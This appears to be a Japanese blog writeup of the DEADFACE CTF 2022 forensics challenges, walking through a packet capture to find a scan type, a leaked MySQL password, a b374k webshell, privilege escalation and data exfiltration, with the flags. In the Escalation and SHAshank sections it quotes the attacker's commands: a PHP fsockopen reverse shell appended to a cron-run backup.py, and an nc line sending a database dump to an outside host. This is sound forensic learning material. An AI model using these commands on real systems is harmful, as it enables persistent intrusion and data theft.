はまやんはまやんはまやん

hamayanhamayan's blog

DEADFACE CTF 2022 Writeup

[Fore] Dreaming of You

プロトコル階層統計を見ながら、特徴的な通信を探す。
上から順番に色々試してみると、Telnetで通信を流し見するとフラグが手に入る。
右クリックからTCPストリームの追跡をするとかなり見やすい。

flag{longing_for_nancy}

[Fore] Scans系フォレンジック

Scans

スキャン方式を答える問題。
攻撃を受けているときのパケットみたいなので、とりあえず終端IPの統計を見てみよう。

143.244.178.213
165.227.73.138

がダントツトップ2。取得している端末のIPが一番多いと思うので2番目が攻撃を仕掛けているIPに見える。
ip.src == 165.227.73.138でフィルターをかけてみる。

冒頭でポートスキャンしているように見える。
TCPのフラグを見てみるとSYNと出ているので、適当にflag{SYN}で正答だった。

Passing on Complexity

バックアップユーザーのパスワードが要求されている。
適当に「pass」で文字列検索しながら適当に周辺を漁るとmysql -u backup -pbackup123という
コマンド実行があるので、パスワードが漏洩する。

flag{backup123}

Shells

info.phpで文字列検索すると、RCEの実行みたいな履歴が見える。
IP,Portを確認すると、165.227.73.138:13123(攻撃側) <-> 143.244.178.213:55760(被害者)みたいな感じに
C2通信している。
91275番目のパケットにb374k shellという文字列があり、検索するとそういったwebshellがあった。
適当にフラグを作って投げると正答。

flag{b374k}

Escalation

権限昇格の原因を特定する問題。
見つかったC2通信を漁ると、

cp /opt/backup.py /tmp
echo "cmd=\"php -r '\$sock=fsockopen(\\\"165.227.73.138\\\",4815);exec(\\\"/bin/bash -i <&3 >&3 2>&3\\\");'\"" >> /opt/backup.py
echo "popen(cmd)" >> /opt/backup.py
cat /opt/backup.py

のような内容が見つかる。
flag{使用されたファイル名_使用された変数名}として答える。
適当に作ると正答した。

flag{backup.py_cmd}

The Root of All Evil

権限昇格後の活動を補足する。
前の問題によると、165.227.73.138:4815にリバースシェルを張っているので、その通信を確認する。
…が、適当にflag{で検索しても出る。

flag{pr1vesc_wi7h_cROn}

New Addition

ユーザーをデータベースに追加したみたい。
適当に流し見すると、以下SQL文が見つかる。
mysql -u backup -pbackup123 -D esu -e "INSERT INTO users (username, first, last, email, street, city, state_id, zip, gender, dob) VALUES ('areed2022', 'Alexandra', 'Reed', 'fake@email.com', '830 Iowa Place', 'Reese', 23, '48757', 'f', '1999-08-19');"

flag{areed2022}

SHAshank Redemption

ちょっと野暮用で抜けてたらCTFが終わっていた。
多分あってると思う回答。

実行コマンドを漁ると
nc 165.227.73.138 13123 < backup_esu_20220727145001.sql.gz
というのが出てくる。
直後の通信で13123でやり取りされているデータがあるので持ってきてハッシュを取ると答えなはず。

$ sha256sum a.bin
dd71d615d384baf3fb2c0978a5a2f84bbc6be788b351d131ff1e100acd284cb3  a.bin

$ sha1sum a.bin 
334a3d4f976cdf39d49b860afda77d6ac0f8a3c6  a.bin

shaほにゃららだろうけど、sha256かsha1かどっちかだと思われるが…